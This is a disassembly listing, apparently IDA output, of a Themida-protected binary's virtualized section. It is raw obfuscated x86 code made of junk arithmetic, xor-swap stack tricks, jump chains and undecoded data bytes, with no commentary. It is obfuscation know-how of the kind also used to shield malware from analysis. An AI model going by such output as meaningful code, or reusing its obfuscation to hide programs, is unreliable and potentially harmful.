loc_63F286:				; CODE XREF: Themida_:0063C478j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_645655
; ---------------------------------------------------------------------------


loc_63F29A:				; CODE XREF: Themida_:00649C14j
		mov	eax, 15AF74FBh
		jmp	loc_642ED9
; ---------------------------------------------------------------------------


loc_63F2A4:				; CODE XREF: Themida_:0063FAA5j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	1B04h
		mov	[esp], ebp
		push	1D3Fh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_63A087
; ---------------------------------------------------------------------------


loc_63F2CA:				; CODE XREF: Themida_:0063C0AFj
		push	esi
		mov	esi, 3A5C23A9h
		jmp	loc_63DBF1
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 68000000h, 29ADh, 0FF241C89h, 8B042474h, 0C483241Ch
		dd 3B9EE904h, 72B10000h, 0E980D1F6h, 0E9C80049h, 0DD2h
		dd 2C8BE901h, 4925E924h, 34FF0000h, 54515B24h, 37B85059h
		dd 2D1D2535h, 1D253533h, 0FF9B0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63F321:				; CODE XREF: Themida_:00642A0Dj
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_641067
; ---------------------------------------------------------------------------
		dd 6804C483h, 2AEDh, 0B9240C89h, 330546E3h, 4907E9C1h
		dd 289DE981h, 68311Bh, 29000000h, 8159240Ch, 0DB0519C1h
		dd 0F567E9B8h, 0E954FFFFh, 3C8h, 24048F5Dh, 8924248Bh
		dd 0E9562414h, 0B242h, 37F5E950h, 0FA010000h, 5DFFEA81h
		dd 3C8B0EF2h, 4C48324h,	0FFDBD5E9h, 0BB0F66FFh,	0E99C2404h
		dd 0FFFF6205h, 0AF58F181h, 0CA8938A4h, 5AD70159h, 0FFA0EDE9h
		dd 4C481FFh, 80000000h,	0E6C0FFEEh, 83C6FE07h, 41E902ECh
		dd 83FFFFA0h, 343302C6h, 24343124h, 8B243433h, 8B662424h
		dd 41682404h, 0E9000077h, 0FFFFA341h, 242C8B54h, 227E9h
		dd 31F22900h, 31F231D6h, 0EEC15AD6h, 8DE6E908h,	0F988FFFFh
		dd 0DA53E95Bh, 0F189FFFFh, 59CB295Eh, 835BDE01h, 0E1E904C6h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63F417:				; CODE XREF: Themida_:00646F36j
		shr	ecx, 5
		add	ecx, 0CF22DD1h
		inc	ecx
		jmp	loc_63D605
; ---------------------------------------------------------------------------
aSQ_0		db ')Q',0
		dd 4875B00h, 27A5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63F436:				; CODE XREF: Themida_:006371EEj
		push	7B4761D8h
		pop	esi
		and	esi, 518A2F5Eh
		shr	esi, 3
		jmp	loc_637082
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 0BBE95604h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63F453:				; CODE XREF: Themida_:0063ACDDj
		add	edx, edi
		jmp	loc_63FA75
; ---------------------------------------------------------------------------


loc_63F45A:				; CODE XREF: Themida_:0063DEBEj
		sub	edi, 4
		jmp	loc_639954
; ---------------------------------------------------------------------------
		dw 5452h
		dd 4C2815Ah, 81000000h,	4C2h, 96DAE900h, 0BF57FFFFh, 3A3D19EDh
		dd 4B14E9h, 24248B00h, 840FC00Bh, 0FFFFB1A2h, 60DE68h
		dd 241C8900h, 89BA5255h, 814C1D7Ah, 3F1C1EEAh, 63B95136h
		dd 162903Ch, 0EA8359CAh, 0E8EA81FFh, 0E965247Ch, 4934h
; ---------------------------------------------------------------------------


loc_63F4B8:				; CODE XREF: Themida_:00639663j
		mov	[esp], eax
		mov	eax, 487D74FCh
		add	eax, 65C6A25h
		or	eax, 5DBA27E1h
		not	eax
		jmp	loc_64A752
; ---------------------------------------------------------------------------


loc_63F4D1:				; CODE XREF: Themida_:00645C69j
		add	ebx, 24D66B3Ah
		sub	ebx, ebp
		sub	ebx, 24D66B3Ah
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 45151656h
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_64447E
; ---------------------------------------------------------------------------


loc_63F503:				; CODE XREF: Themida_:0063D60Bj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_63941F
; ---------------------------------------------------------------------------


loc_63F50E:				; CODE XREF: Themida_:006403FEj
		neg	ebx
		sub	ebx, 1
		not	ebx
		shr	ebx, 5
		push	edx
		mov	edx, 71F42EA7h
		neg	edx
		sub	edx, 5D524E2Eh
		inc	edx
		neg	edx
		add	edx, 1D85BE5Eh
		sub	ebx, edx
		mov	edx, [esp]
		jmp	loc_64639C
; ---------------------------------------------------------------------------
		dd 68A68h, 241C8900h, 0FFCD78E9h, 57A4B8FFh, 10E978AEh
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63F553:				; CODE XREF: Themida_:00649B6Ej
		push	4
		pop	eax
		add	edx, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_6366D1
; ---------------------------------------------------------------------------


loc_63F581:				; CODE XREF: Themida_:0063DB5Cj
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_637E7D
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 2242584Bh, 122BEA81h, 0FA0148B2h, 7EB16857h,	1C890000h
		dd 73BD5524h, 8127A349h, 8A012DF5h, 7CE94D14h, 68000092h
		dd 9FAh, 0FFED26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63F5C5:				; CODE XREF: Themida_:00646494j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_64196D
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 243C8900h, 0FF7B9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63F5ED:				; CODE XREF: Themida_:00637DB6j
		not	eax
		and	eax, 1D8D5103h
		sub	eax, 75972216h
		jmp	loc_6444EE
; ---------------------------------------------------------------------------


loc_63F5FE:				; CODE XREF: Themida_:006355BAj
		add	ebx, 70807C85h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0B9D71AA2h
		jmp	loc_6482C3
; ---------------------------------------------------------------------------
		dd 565F5457h, 0B622C8BEh, 0C0E68132h, 81281664h, 8D7D75C6h
		dd 0EFE6813Bh, 8178CF6Ch, 830C21EEh, 5EF70158h,	4C781h
		dd 4FE90000h, 810000A9h, 0AE60A0EFh, 81EF0125h,	0AE60A0C7h
		dd 0EC815D25h, 4, 0FF243C89h, 5F042474h, 0E924048Fh, 651Bh
		dd 0C681E689h, 4, 0E904C683h, 9984h
; ---------------------------------------------------------------------------


loc_63F678:				; CODE XREF: Themida_:006405F2j
		mov	[esp], edx
		push	ebx
		mov	bh, 9Ch
		push	ecx
		mov	cl, bh
		push	ebx
		push	edx
		mov	dl, cl
		mov	bl, dl
		pop	edx
		mov	dh, bl
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	al, 50h
		add	al, dh
		sub	al, 50h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_648590
; ---------------------------------------------------------------------------


loc_63F6A5:				; CODE XREF: Themida_:006402CCj
		sub	[esp+8], edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		add	eax, 72D16534h
		push	ebp
		jmp	loc_643B26
; ---------------------------------------------------------------------------
aBQ_hBQBQbQ_hPs	db '_h>',8,8,'"Q)',8,8,'"Q_h>Po',0
		dw 0AD00h
		dd 0FF6337E9h, 4C483FFh, 0FF9820E9h, 4C181FFh, 87000000h
		dd 0E95C240Ch, 0FFFF9954h
; ---------------------------------------------------------------------------


loc_63F6FC:				; CODE XREF: Themida_:00638650j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ebp, 6
		not	ebp
		add	ebp, 1BBAACDh
		and	eax, ebp
		jmp	loc_643145
; ---------------------------------------------------------------------------
		dd 2637C52Dh, 2582D6Ah,	0C80112F3h, 8E84E9h
		db 0
; ---------------------------------------------------------------------------


loc_63F729:				; CODE XREF: Themida_:00643F6Bj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_63BBD9
; ---------------------------------------------------------------------------
		dd 1AE2E959h, 34870000h, 81495C24h, 0B47B9BC1h,	0E9CF017Bh
		dd 7FF8h, 0B9B1E981h, 10E93E3Bh, 0ADFFFFDCh, 0C568D831h
		dd 89000051h, 0B951242Ch, 75D11F33h, 0FF74EAE9h, 240C8BFFh
		dd 8904EC83h, 0E2892414h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 7850E955h, 0FD89FFFFh, 246C015Fh, 815E5D04h,	4C6h
		db 0, 55h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_64818E
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 89C9815Dh, 57497C20h, 233A0568h, 2434FF0Dh, 4C4815Fh
		dd 0C1000000h, 0DEE906E7h, 21FFFFACh, 59E95DE8h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63F7D7:				; CODE XREF: Themida_:00641B49j
		xor	ecx, esi
		pop	esi
		mov	ebx, ecx
		pop	ecx
		xor	ecx, ebx
		jmp	loc_63719B
; ---------------------------------------------------------------------------


loc_63F7E4:				; CODE XREF: Themida_:0063EA25j
		pop	esp
		xor	edx, edx
		jmp	loc_648CC4
; ---------------------------------------------------------------------------
		dd 0A405F801h, 5F00CC7Fh, 535A5452h, 0FF62ADE9h, 0E68956FFh
		dd 5428E9h, 0E0895000h,	77E95557h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63F80F:				; CODE XREF: Themida_:0064405Aj
		shl	ebp, 6
		push	eax
		push	esi
		jmp	loc_63A429
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0E9C78853h, 0FFFFAAF8h, 4C481h, 0C4810000h, 4, 0C8BE800h
		dd 3CC0E924h, 8B660000h, 83502404h, 0B9E904ECh,	8B00002Bh
		dd 8956240Ch, 4C681E6h,	81000000h, 4C6h, 67CDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63F85E:				; CODE XREF: Themida_:0063827Fj
		pop	ebx
		or	edx, 7F0D3C00h
		push	6F45h
		mov	[esp], eax
		mov	eax, 72B30399h
		xchg	eax, ecx
		dec	ecx
		not	ecx
		xchg	eax, ecx
		xor	eax, 7B703744h
		or	eax, 1ED9711Ah
		add	eax, 1959411Ah
		jmp	loc_640981
; ---------------------------------------------------------------------------
		db 59h
		dd 0AD86E950h, 0CD81FFFFh, 44003FDEh, 5F75F581h, 0C1456D75h
		dd 0ED8103E5h, 2ED5A02Bh, 0E0E9EE31h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63F8AF:				; CODE XREF: Themida_:0063D9E2j
		shr	ebx, 3
		xor	ebx, 361D02F6h
		or	eax, ebx
		pop	ebx
		shl	eax, 4
		jmp	loc_64038B
; ---------------------------------------------------------------------------


loc_63F8C3:				; CODE XREF: Themida_:0064889Ej
		or	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		not	ah
		jmp	loc_63D2B8
; ---------------------------------------------------------------------------


loc_63F8D2:				; CODE XREF: Themida_:0063B303j
		add	esp, 4
		push	534h
		mov	[esp], edx
		push	2A293CBEh
		pop	edx
		push	1F6h
		mov	[esp], edx
		dec	dword ptr [esp]
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	edx
		not	edx
		push	0
		jmp	loc_63C3D4
; ---------------------------------------------------------------------------
		db 68h
		dd 7D26h, 0BD242C89h, 313032A7h, 555DEA21h, 203027BDh
		dd 0FFEA3120h, 815D2434h, 4C4h,	0BAEB8100h, 0E9544537h
		dd 8940h, 0DE30CDB3h, 0F3005B66h, 80D3005Ah, 0EB8022EBh
		dd 0F3005A53h, 0AFB3E9h, 3F386800h, 0E9591B2Bh,	0FFFFD607h
		dd 4BBh, 5BDE0100h, 4E55BD55h, 0ED811B9Bh, 356274F9h, 78CDF581h
		dd 0BE941D6h, 8100000Ch, 0DA3685F6h, 5EF00104h,	0C652B005h
		dd 2C8B5B22h, 4C48124h,	56000000h, 374845BEh, 922BE921h
		dd 34FFFFFFh, 24E95824h, 81FFFFDBh, 7348D3C7h, 83D0E935h
		dd 2C89FFFFh, 0E60BD24h, 0C14D7B3Ah, 0C58107E5h, 873235F1h
		dd 4859E9h, 4C48100h, 0FF000000h, 515A2434h, 7AE9E189h
		dd 810000A6h, 173981EBh, 0DAACE962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63F9DE:				; CODE XREF: Themida_:0064020Bj
		push	0
		pop	esi
		jmp	loc_640C11
; ---------------------------------------------------------------------------


loc_63F9E9:				; CODE XREF: Themida_:00643631j
		neg	edi
		sub	edi, 8B0704h
		jmp	loc_64AB50
; ---------------------------------------------------------------------------


loc_63F9F6:				; CODE XREF: Themida_:00644BC7j
		sub	ebp, 10A40FDFh
		sub	ebp, edx
		add	ebp, 10A40FDFh
		pop	edx
		add	ebp, ecx
		push	ecx
		mov	ecx, 4BF327DFh
		shl	ecx, 1
		jmp	loc_642926
; ---------------------------------------------------------------------------
		dd 158C589h, 6641E9EAh,	4310000h, 24043324h, 243CD35Ch
		dd 5B77E99Ch, 0EC81FFFFh, 4, 0FF243489h, 0E9042474h, 8259h
		dd 0F64AB353h, 93EB80D3h, 0FF88B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63FA4D:				; CODE XREF: Themida_:00648522j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6200C42h
		jmp	loc_642BEC
; ---------------------------------------------------------------------------


loc_63FA75:				; CODE XREF: Themida_:0063F455j
		mov	edi, [esp]
		jmp	loc_63B466
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 57h
		dd 77F0E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63FA86:				; CODE XREF: Themida_:0064A201j
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	4349h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_63F2A4
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 65E545A5h, 0FF899DE9h, 241487FFh, 6824248Bh,	6739h
		dd 68240C89h, 373662AFh, 52240C8Bh, 0BF57E289h,	6BB45AEDh
		dd 1A34EF81h, 0C7816F29h, 51B53C40h, 61A5E947h,	0C4BBFFFFh
		dd 29769079h, 222D5BD8h, 540A02Dh, 39592732h, 766E2B05h
		dd 2DD80125h, 25766E2Bh, 1C1B68h, 240C8900h, 53C9E9h, 13ED8000h
		dd 0FF9B31E9h, 3E952FFh, 5DFFFFD8h, 49D5BD55h, 454528B7h
		dd 0F704EDC1h, 81EDD1D5h, 0CD230AC5h, 6383E9F8h, 0BA52FFFFh
		dd 1D47282Bh, 15AD529h,	2BC581CDh, 0E91D4728h, 0A524h
		dd 4C381h, 7AE90000h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63FB5B:				; CODE XREF: Themida_:00642071j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_636326
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0BA525B00h, 4,	148BD301h, 4C48324h, 8704C383h
		dd 515C241Ch, 16BF57h, 0EDE9634Bh, 10000A2h, 0E95E5DE8h
		dd 0FFFFF358h
; ---------------------------------------------------------------------------


loc_63FB98:				; CODE XREF: Themida_:0063B5AFj
		add	esp, 4
		and	ebp, 7B851C48h
		push	edi
		mov	edi, 0A0A48F8h
		jmp	loc_646E31
; ---------------------------------------------------------------------------


loc_63FBAC:				; CODE XREF: Themida_:00636E09j
		inc	edx
		neg	edx
		add	edx, 0B6502ED2h
		mov	ebp, edx
		jmp	loc_63D746
; ---------------------------------------------------------------------------
		dd 8247401h, 83ABE9h, 0C2815B00h, 4, 2474FF52h,	48F5A04h
		dd 0CE015C24h, 79AA68h,	0A07BE900h, 0E9800000h,	0A4F180F9h
		dd 5EE9CB28h, 8BFFFF90h, 2434FF01h, 0D0D4E959h,	13BAFFFFh
		dd 2917E37Ch, 0CB815AD3h, 6F4D1250h, 769EB81h, 0DF893079h
		dd 0FFC7815Bh, 56FFFFFFh, 9D0F0BEh, 7BE9E9B1h, 0C481FFFFh
		dd 4, 0E53FE955h, 0A725FFFFh, 0C155E96Eh, 0D0F703E8h, 0E7D2BF35h
		dd 0CEA81F7h, 117F237h,	0CC281C2h, 0E917F237h, 680Ch, 81242489h
		dd 42404h, 0E9590000h, 647Ch, 0FF5DE801h, 565B2434h, 0FF068h
		dd 24248900h, 3F42E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63FC76:				; CODE XREF: Themida_:00643413j
		pop	ebp
		jmp	loc_641CB9
; ---------------------------------------------------------------------------


loc_63FC7C:				; CODE XREF: Themida_:00641E2Bj
		not	edx
		neg	edx
		jmp	loc_6439A4
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 0F1257BC7h, 814F4F14h, 65A5D0C7h, 4283E930h,	0EB830000h
		dd 241C3304h, 3A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_63FCA5:				; CODE XREF: Themida_:0063F0B8j
		and	ecx, 350019CBh
		sub	ecx, 0E615304h
		push	esi
		mov	esi, 17997586h
		jmp	loc_642B0E
; ---------------------------------------------------------------------------


loc_63FCBC:				; CODE XREF: Themida_:0063C08Ej
		sub	eax, 72189426h
		jmp	loc_642E34
; ---------------------------------------------------------------------------


loc_63FCC6:				; CODE XREF: Themida_:0063BD23j
		xor	edx, [esp]
		jmp	loc_63E999
; ---------------------------------------------------------------------------


loc_63FCCE:				; CODE XREF: Themida_:0063869Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 592B2414h
		jmp	loc_6454C5
; ---------------------------------------------------------------------------
		dw 0D8F6h
a40X		db '40X',0
		dw 8BF9h
		dd 0AEE9241Ch
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63FCEF:				; CODE XREF: Themida_:00647C1Cj
		add	ah, 5Eh
		or	ah, 6Bh
		jmp	loc_63BB69
; ---------------------------------------------------------------------------
aSif		db ')]F',0
		align 2


loc_63FD02:				; CODE XREF: Themida_:00646E3Fj
		pop	edi
		and	eax, ebp
		jmp	loc_63E5AA
; ---------------------------------------------------------------------------


loc_63FD0A:				; CODE XREF: Themida_:006370BDj
		shr	eax, 6
		jmp	loc_648F8F
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 295675AEh, 35AACB81h, 0C3811B6Dh, 0E490CA56h, 535BDE01h
		dd 69ABE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63FD2E:				; CODE XREF: Themida_:00635BACj
		add	eax, 4
		add	eax, 4
		jmp	loc_644EB9
; ---------------------------------------------------------------------------
		db 31h
		dd 0EA8158C3h, 2D9674A0h, 0C281DA01h, 2D9674A0h, 14335E5Bh
		dd 24143124h, 8B241433h, 4FE2424h, 42E99C24h, 28FFFF58h
		dd 0EFED80FDh, 5B40C580h, 7D5EE953h, 0CD2D0000h, 403BC172h
		dd 9D5A335h, 58C78920h,	19BA5253h, 8920BC28h, 0DF295AD3h
		dd 7657E95Bh, 0FE01FFFFh, 44B2EE81h, 0E95F6CDFh, 0FFFF962Ah
		dd 42474FFh, 0FFF5C3E9h, 0C681ADFFh, 3C93524Bh,	39685350h
		dd 0E94B6930h, 0FFFF76D8h
; ---------------------------------------------------------------------------


loc_63FDBC:				; CODE XREF: Themida_:0064A080j
		shr	eax, 8
		xor	eax, ecx
		xchg	eax, edx
		xor	edx, ecx
		xor	ecx, edx
		jmp	loc_64432E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 38DD1EEFh, 0E908E2C1h, 80CDh, 4B30F66h, 0C2E99C24h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63FDE3:				; CODE XREF: Themida_:0064537Ej
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_64A07C
; ---------------------------------------------------------------------------
		db 51h,	8Bh, 1Ch
		dd 4C48324h, 0E9DE0159h, 86E3h,	85E9575Ah, 8BFFFFDAh, 8953241Ch
		dd 4C381E3h, 0E9000000h, 0FFFFA999h
; ---------------------------------------------------------------------------


loc_63FE28:				; CODE XREF: Themida_:0063B3D2j
		mov	[esp], esi
		jmp	loc_6482F8
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FFFFBF57h, 60E9FFFFh, 0FF00005Bh, 0E9592434h
		dd 6E7Eh, 0C2815A54h, 4, 696268h, 9CA2E900h, 148B0000h
		dd 4C48124h, 88000000h,	2434FFE8h, 26E95659h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_63FE6F:				; CODE XREF: Themida_:0063D1CCj
		add	ebp, 0EE4AC85Bh
		jmp	loc_644A63
; ---------------------------------------------------------------------------


loc_63FE7A:				; CODE XREF: Themida_:00642555j
		shl	edi, 6
		dec	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3A3035FDh
		neg	ebx
		inc	ebx
		xor	ebx, 8A35E632h
		jmp	loc_63EEDA
; ---------------------------------------------------------------------------
a3Ser		db '3,$\E',0
		align 10h


loc_63FEA0:				; CODE XREF: Themida_:0063FF23j
		add	eax, 0B9FDEB08h
		jmp	loc_646784
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 0E9000000h, 0FFFFCC88h
; ---------------------------------------------------------------------------


loc_63FEB8:				; CODE XREF: Themida_:00642D73j
		push	edi
		mov	edi, 220C4BD4h
		jmp	loc_63BA92
; ---------------------------------------------------------------------------
		db 0B7h
		dd 8E7C016h, 0C0F4EF80h, 0C2E907EFh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63FED3:				; CODE XREF: Themida_:00636389j
		shl	edx, 1
		push	6580h
		mov	[esp], ebx
		mov	ebx, 24h
		push	edx
		mov	edx, 57B067F2h
		shl	edx, 6
		and	edx, 5AB96FC9h
		jmp	loc_639712
; ---------------------------------------------------------------------------


loc_63FEF6:				; CODE XREF: Themida_:006431E9j
		neg	ebx
		xchg	eax, ebx
		neg	eax
		push	esi
		mov	esi, 0D7F53C7h
		sub	esi, 43D84D6Eh
		not	esi
		xor	esi, 2A065901h
		add	esi, 3BAB1F7Fh
		xor	esi, 5B4B9971h
		or	eax, esi
		pop	esi
		and	eax, 47002996h
		jmp	loc_63FEA0
; ---------------------------------------------------------------------------
		dd 0F767C281h, 0D709F935h, 81DFF75Ah, 2594AAEFh, 5FF821A2h
		dd 2F3C6B35h, 58C73146h, 0AEEFF781h, 0F831413Eh, 53243C8Bh
		dd 5157E389h, 0D64A6E68h, 0E9815951h, 4070089Fh, 0E981D1F7h
		dd 8C14A9B3h, 8159CF89h, 0CD0F11CFh, 31B95125h,	0C1342C2Dh
		dd 534104E9h, 441B8FBBh, 5BD92957h, 7B06E181h, 0C18150DCh
		dd 7F23F14h, 0FF6793E9h, 1E1E68FFh, 8F540000h, 4832404h
		dd 51E90424h, 64FFFF9Eh, 66028B66h, 6627B668h, 0E9240489h
		dd 0FFFF55EDh
; ---------------------------------------------------------------------------


loc_63FFB8:				; CODE XREF: Themida_:00637F9Bj
		pop	ecx
		jmp	loc_637140
; ---------------------------------------------------------------------------
		dw 685Fh
		dd 0F47h, 0B9240C89h, 47D9353Ch, 0D440BD55h, 0E9290BD9h
		dd 0FBEF815Dh, 15B6A0Ch, 0FBC781CFh, 0E95B6A0Ch, 111Dh
		dd 0F136E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63FFEE:				; CODE XREF: Themida_:00643D30j
		shr	eax, 1
		xor	eax, 47B7623Eh
		sub	eax, 95DFDF14h
		add	ebp, eax
		pop	eax
		push	ebp
		pop	edx
		pop	ebp
		add	edx, 36B51CCAh
		sub	edx, ebx
		push	eax
		jmp	loc_637EA1
; ---------------------------------------------------------------------------


loc_64000E:				; CODE XREF: Themida_:00639B44j
		shl	edx, 8
		jmp	loc_638366
; ---------------------------------------------------------------------------
aXrVsS		db '(R鳙',0
		align 10h
aS4		db '`4!',0
		db 0
; ---------------------------------------------------------------------------


loc_640027:				; CODE XREF: Themida_:0063D7DCj
		sub	[edi+24h], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_640731
; ---------------------------------------------------------------------------


loc_64003E:				; CODE XREF: Themida_:00649E9Cj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_645383
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 0C3E95C24h, 5CFFFF7Fh, 165A68h, 24148900h
		dd 1B3868h, 24048900h, 0E938B151h, 0D49h
; ---------------------------------------------------------------------------


loc_64006C:				; CODE XREF: Themida_:0063D7ADj
		push	dword ptr [esp]
		jmp	loc_63E52D
; ---------------------------------------------------------------------------


loc_640074:				; CODE XREF: Themida_:0063B131j
		pop	ecx
		push	edi
		mov	edi, 12091800h
		sub	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_6479CC
; ---------------------------------------------------------------------------
aFxxsm		db 'fXX[',0
		db 0
; ---------------------------------------------------------------------------


loc_640091:				; CODE XREF: Themida_:006493BFj
		mov	[esp], ebp
		push	ebx
		pop	ebp
		jmp	loc_648310
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0EA830000h, 24143304h, 33241431h, 248B2414h
		dd 83A0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6400B6:				; CODE XREF: Themida_:00638B32j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_6355A5
; ---------------------------------------------------------------------------


loc_6400C1:				; CODE XREF: Themida_:006370A0j
		xor	edx, 0A6219A56h
		add	esi, 3EB6238Dh
		jmp	loc_647A89
; ---------------------------------------------------------------------------
aYfs		db 'YfS,',0
		dd 0E95B66F8h, 0AA16h
; ---------------------------------------------------------------------------


loc_6400E0:				; CODE XREF: Themida_:0064895Ej
		xor	ebp, 396C16EDh
		push	eax
		jmp	loc_646A5F
; ---------------------------------------------------------------------------
		dd 4C481h, 0C1680000h, 8900007Bh, 52532434h, 4F98B951h
		dd 0CA896A2Ch, 5ECAE9h,	24048B00h, 6AFBE957h, 0F181FFFFh
		dd 206554B7h, 0C8BCF09h, 4C48324h, 68C8E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_640126:				; CODE XREF: Themida_:0064278Bj
		sub	ebp, 7D32036h
		sub	ebp, ebx
		add	ebp, 7D32036h
		push	eax
		mov	eax, 2D856796h
		sub	ebp, eax
		pop	eax
		jmp	loc_6403F5
; ---------------------------------------------------------------------------


loc_640142:				; CODE XREF: Themida_:0063A775j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		bt	[esp], ax
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		dd 5BDD315Fh, 0FFB398E9h, 2DD829FFh, 57C50BA3h,	0B9170205h
		dd 51BD5569h, 0E93D7F0Eh, 0FFFFFAE8h, 24048B66h, 6EB368h
		dd 65D1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_640186:				; CODE XREF: Themida_:0064984Ej
		mov	edx, 0D4D5659h
		push	ebx
		mov	ebx, 30403E10h
		or	edx, ebx
		pop	ebx
		push	edx
		dec	dword ptr [esp]
		pop	edx
		sub	edx, 11A4067Dh
		shr	edx, 1
		sub	edx, 0C6F08EA3h
		push	7D63h
		jmp	loc_647812
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0Ch
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6401B7:				; CODE XREF: Themida_:0063D2F9j
		add	[esp+4], edx
		pop	edx
		jmp	loc_63C3C1
; ---------------------------------------------------------------------------


loc_6401C1:				; CODE XREF: Themida_:00641973j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	2A6Dh
		jmp	loc_63B362
; ---------------------------------------------------------------------------


loc_6401D7:				; CODE XREF: Themida_:00647932j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_640B31
		mov	edx, 4CD71659h
		sub	edx, 0FFFFFFFFh
		push	3958h
		mov	[esp], esi
		jmp	loc_63F9DE
; ---------------------------------------------------------------------------
		dd 0D5547205h, 2E8C119h, 8915030Dh, 661A0502h, 0FF0576DAh
